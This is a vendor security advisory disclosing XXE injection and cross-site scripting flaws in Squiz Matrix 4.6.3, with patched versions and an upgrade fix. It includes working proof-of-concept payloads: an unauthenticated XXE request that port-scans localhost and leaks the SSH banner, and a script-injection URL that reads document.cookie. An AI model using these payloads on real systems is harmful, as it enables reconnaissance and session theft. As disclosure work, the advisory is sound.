Sense of Security – Security Advisory – SOS-12-007
| Release Date. | 14-Jun-2012 |
| Last Update. | – |
| Vendor Notification Date. | 02-Apr-2012 |
| Product. | Squiz Matrix |
| Platform. | Independent |
| Affected versions. | 4.6.3 (verified) and possibly others |
| Severity Rating. | Medium |
| Impact. | Exposure of session information |
| Exposure of system information | |
| Exposure of network information | |
| Denial of Service | |
| Attack Vector. | Remote unauthenticated (XXE) |
| Remote authenticated (XSS) | |
| Solution Status. | Patched in version 4.6.5 and 4.8.1 releases (not verified by SOS) |
| CVE reference. | CVE- Not yet assigned |
Details.
The product is vulnerable to multiple security vulnerabilities, such as XML eXternal Entities (XXE) injection and Cross-Site Scripting (XSS).
1. XXE Injection:
XXE injection allows a wide range of XML based attacks, including local file disclosure, TCP port scans and a Denial of Service (DoS) condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection.
The following resource accessible by an unauthenticated user is vulnerable:
/_admin/?SQ_ACTION=asset_map_request/
Proof of Concept (port scanning).
Request:
POST /_admin/?SQ_ACTION=asset_map_request HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_02
Host: xxxxxx.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Proxy-Connection: keep-alive
Content-Length: 84
Connection: close
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]><scan>&test;</scan>
Response:
HTTP/1.0 200 OK
Date: Tue, 27 Mar 2012 06:13:26 GMT
Server: Apache
Set-Cookie: SQ_SYSTEM_SESSION=472r0gjvcn0aqqsgbt7b42fi15;
domain=xxxxxxx.xxx; path=/;
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 214
Content-Type: text/xml
Connection: keep-alive
<error>simplexml_load_file(http://localhost:22)
failed! SSH-2.0-OpenSSH_4.3
File: [SYSTEM_ROOT]/core/lib/asset_map/asset_map.inc
Line:581</error>
2. XSS:
Cross-Site Scripting (XSS) may be used to steal session information,
etc.
Several resources of the /_admin page are affected including:
am_section parameter, assetid parameter, sq_asset_path parameter,
sq_backend_log_type parameter, sq_link_path parameter,
asset_ei_screen parameter, current_assetid parameter and
tool_reindex_reindexing_root_assetid [assetid] parameter.
Proof of Concept.
/_admin/?SQ_BACKEND_PAGE=main&backend_section=am&
am_section=edit_asset”><script>alert(document.cookie)
</script>&assetid=73&sq_asset_path=,1,73&
sq_link_path=,0,74&asset_ei_screen=details
Solution.
Upgrade to version 4.6.5 or 4.8.1 releases.
Discovered by.
Nadeem Salim from Sense of Security Labs.